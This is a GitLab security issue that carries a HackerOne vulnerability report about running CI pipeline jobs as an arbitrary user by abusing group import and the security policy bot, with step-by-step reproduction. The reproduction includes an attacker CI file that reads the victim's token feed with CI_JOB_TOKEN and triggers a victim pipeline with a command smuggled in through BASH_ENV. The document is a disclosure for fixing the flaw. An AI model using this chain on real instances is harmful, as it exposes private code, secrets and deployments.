An attacker can run pipeline jobs as arbitrary user

⚠ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2578672 by yvvdwf on 2024-06-26:

Report | Attachments | How To Reproduce

Report

Hello,

This report is an improved version of 2575051 by introducing a bypass of a critical security fix Gitlab just released.

My original report 2575051 was marked as duplicate of 2536320. Although I have no access to 2536320 but I believe that it was addressed by the critical release above. That's why I resubmit this report!

The following code is vulnerable:

###  1. app/services/merge_requests/merge_service.rb#L103-122

    def after_merge  
      ...  
      if delete_source_branch?  
        MergeRequests::DeleteSourceBranchWorker.perform_async([@]merge_request.id, [@]merge_request.source_branch_sha, branch_deletion_user.id)  
      end  
      ...  
    end

    def branch_deletion_user  
      [@]merge_request.force_remove_source_branch? ? [@]merge_request.author : current_user  
    end

###  2. app/workers/merge_requests/delete_source_branch_worker.rb  
class MergeRequests::DeleteSourceBranchWorker  
  ...  
  def perform(merge_request_id, source_branch_sha, user_id)  
    ...   
    ::MergeRequests::RetargetChainService.new(project: merge_request.source_project, current_user: user)  
            .execute(merge_request)  
    ...

When a merge request is merged and it was marked as Delete source branch when merge request accepted, then the source branch will be deleted by the merge request author, not by the one who merged the request.
Before deleting the source branch, Gitlab tries to re-target any other merge requests that use the deleted branch as its target.
Although these re-targeting actions have been corrected to avoid trigger new pipelines, the pipelines still can be triggered by using quick action in the descriptions of these merge requests, such as, /rebase
These pipelines are usually omitted, but if their only:refs is merge_requests then they will be executed
Gitlab keeps owners of a merge request if it is imported via direct transfer, such as, via an external source like GitHub, Bitbucket, or another instance of GitLab, by mapping their emails.

Consequently, an attacker can execute pipeline jobs as arbitrary user.

Gitlab recently limits the scope of CI_JOB_TOKEN which can not be used to access to other projects unless users explicitly configures their projects to allow it to access to. However gitlab-security-policy-bot (again) has a specific permission:

      rule { security_policy_bot }.policy do  
        enable :create_pipeline  
        enable :create_bot_pipeline  
        enable :build_download_code  
      end

This means that we can abuse this bot to access to its original project and execute CI/CD pipeline on that project.

In brief:

if a project
- is public, regardless its repository is set as public - Everyone With Access or private - Only Project Members
- and has a security-policy-bot member
then attackers can
- access to its repository (if it is private) and its CI variables
- trigger its CI/CD pipeline, thus, control its environments/deployments, its packages, etc

Furthermore, Gitlab also disabled GraphQL authentication via CI_JOB_TOKEN in this security release, but this token can be still accessible via several controllers to list private projects/groups/issues/merge-request/... or even personal feed/incoming-email tokens . The latter allows to create a new issue.

Reproduce

As Gitlab.com currently disables the direct transfer feature, the following steps are to run in Gitlab self-management instances.

To reproduce, we need 2 Gitlab instances:

The first Gitlab instance is the main instance which contains the victim project and is accessible via http://gl.lo
- please ensure it has Ultimate license
- please ensure it has at least one Gitlab runner
The second Gitlab instance is to create a dummy group which will be imported to the main one. This instance is fully controlled by the attacker (who is a normal user in the first instance). This instance should be in a server with a public IP though that the main Gitlab instance above can access to.

As victim, go to http://gl.lo, then:

create a public repository, e.g., victim/p
add .gitlab-ci.yml file within the following content:

test:  
  script:  
    - echo Hello world

go to Settings / General / Visibility, project features, permissions:
- Project visibility: Public
- Repository : Only Project Members
- click Save changes button
go to Secure / Policies and set up a new policy for it.
go to Manage / Members, you should see a new member Gitlab Security Policy Bot.

As attacker

Step 0. Recon

This step is done in the first Gitlab instance http://gl.lo

login as attacker,
go to victim/p,
- note the project ID, e.g., 22222
- view its member Gitlab Security Policy Bot, note its username and ID, e.g., BOT_USERNAME, BOT_ID, we obtain its email in the following form $BOT_ID-$BOT_USERNAME@users.noreply.gl.lo (please replace BOT_USERNAME and gl.lo by suitable values), , e.g., 18-gitlab_security_policy_project_72_bot_e15f68e4886390cc996769f9b0c935ca@users.noreply.gl.lo

Step 1. Prepare

This step is done in the second Gitlab instance which is fully controlled by the attacker

login this instance as admin,
go to Admin Area:
- go to Settings / General / Import and export settings, enable Allow migrating GitLab groups and projects by direct transfer, then click Save changes
- go to Overview / Users, then change Administrator's email to the bot's email
go to Edit Profile to set this email as Public email
go to Access Tokens, then create a new personal access YOUR_GITLAB_API_TOKEN token with api scope
create a new group group-x, then add a new blank project, test, within a README:
- modify README.md, commit it to a new branch a, then create a merge request from a to main (please make sure Delete source branch when merge request is accepted. is checked)
- open the branch a, add a .gitlab-ci.yml file within the content below, then commit it to a new branch b, then create a merge request from b to a (Note: please replace 22222 by the ID of victim's project we created above):

hi:  
  image: ruby:3.1  
  only:  
    refs:  
      - merge_requests  
  script:  
    - echo "This script is created by attacker, run by $GITLAB_USER_LOGIN"  
    - curl -u "gitlab-ci-token:$CI_JOB_TOKEN" "$CI_SERVER_URL/-/user_settings/personal_access_tokens.ics"  
    - curl -X POST "$CI_API_V4_URL/projects/22222/trigger/pipeline?token=$CI_JOB_TOKEN&ref=main&&variables%5BBASH_ENV%5D=%24%28echo%20%3D%3DHello-from-Attacker%20%3E%20%2Fdev%2Fstderr%29"

+ Upon modified `Target Branch` value to `b`, you will see a checkbox `Start a new merge request with these changes`, let it be checked  
+  After clicking on the button `Commit changes`, you are redirected to a merge request page:  
     +  *IMPORTANT* (this step is not presented in the video demo):  enter  `/shrug /rebase` as the description of merge request  
     + Click `Create merge request` button to create a merge request from branch `b` to `a`.

Step 2. Attack

This step is done in the first Gitlab instance http://gl.lo

click + / New group / Import group, then fill the form, then click Connect instance
- GitLab source instance base URL is the url of the Gitlab instance we created in Step 1
- Personal access token is the token YOUR_GITLAB_API_TOKEN we created in Step 1
import group group-x
after importing successfully, you should see group-x/test project which has 2 merge requests created by BOT_USERNAME
open the merge request from a to main, then click Merge button.
open the list of pipeline jobs, you should see a new job that was triggered by the BOT_USERNAME but using the .gitlab-ci.yml file we created previously in the branch b.
Open the victim project, you should see a job which was triggered also by BOT_USERNAME and its execution is controlled by attacker via BASH_ENV variable.

Impact

This vulnerability allow an attacker to execute pipelines as arbitrary user.

By using CI_JOB_TOKEN, attackers can access to private information such as list of groups/projects/issues/merge-requests or even obtain rss/incoming-email tokens of victim
By abusing Gitlab Security Policy Bot, attackers can
- access to private repositories and CI/CD variables (C:H)
- trigger CI/CD pipelines, thus control deployments/environments/packages/... (I:H, S:C)

Best regards,
yvvdwf

Impact

This vulnerability allow an attacker to execute pipelines as arbitrary user.

By using CI_JOB_TOKEN, attackers can access to private information such as list of groups/projects/issues/merge-requests or even obtain rss/incoming-email tokens of victim
By abusing Gitlab Security Policy Bot, attackers can
- access to private repositories and CI/CD variables (C:H)
- trigger CI/CD pipelines, thus control deployments/environments/packages/... (I:H, S:C)

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

video-demo.mp4

How To Reproduce

Please add reproducibility information to this section: